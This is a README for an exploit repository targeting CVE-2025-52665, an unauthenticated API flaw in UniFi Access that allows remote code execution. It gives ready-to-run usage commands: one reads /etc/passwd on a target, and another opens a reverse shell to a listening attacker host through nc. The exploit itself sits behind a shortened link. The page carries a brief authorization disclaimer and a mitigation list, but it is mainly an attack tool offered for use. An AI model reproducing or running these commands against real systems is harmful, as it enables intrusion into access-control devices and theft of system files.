CVE-2025-52665 PoC — Ubiquiti UniFi Access Application 安全漏洞

Readme

# CVE-2025-52665
This repository contains a **proof-of-concept exploit** for **CVE-2025-52665**, an **unauthenticated API access vulnerability** in **Ubiquiti UniFi Access Application versions 3.3.22 to 3.4.31**.  

The exploit leverages a **misconfiguration in the management API** that exposes critical endpoints **without authentication**, allowing **remote code execution (RCE)** on affected devices. The flaw was introduced in version 3.3.22 and remains present through 3.4.31.


---

### Usage Warning  
> **This tool is for authorized penetration testing only.**  
> Verify legal compliance before use.  
> **Ubiquiti has patched this in 4.0.21+** — update immediately if vulnerable.


---

### Exploit Details  

The vulnerability exists in the **management API** which incorrectly trusts **all requests originating from the local management network** (`192.168.0.0/16`, `10.0.0.0/8`, etc.) without validating session tokens or source IP restrictions.

A malicious actor with **access to the management VLAN** can send crafted JSON payloads to trigger system-level commands via the **diagnostic and update subsystems**.


---


### Installation  
```
pip install -r requirements.txt
```


---

### Usage Examples  

#### 1. Execute a single command  
```
python unifi-rce.py --target http://192.168.1.100:8080 --cmd "cat /etc/passwd"
```

#### 2. Get a reverse shell  
```
# Start listener
nc -lvnp 4444

# Trigger exploit
python unifi-rce.py --target http://192.168.1.100:8080 --reverse 192.168.1.200 4444
```


---

### Mitigation  
- **Update to UniFi Access Application 4.0.21 or later**  
- Restrict management interface to trusted IPs only  
- Disable API access from untrusted networks

  
---


### Exploit - [href](https://tinyurl.com/4e4wdaxt)

For any inquiries, please email me at: eviedejesu803@gmail.com

File Snapshot

Remarks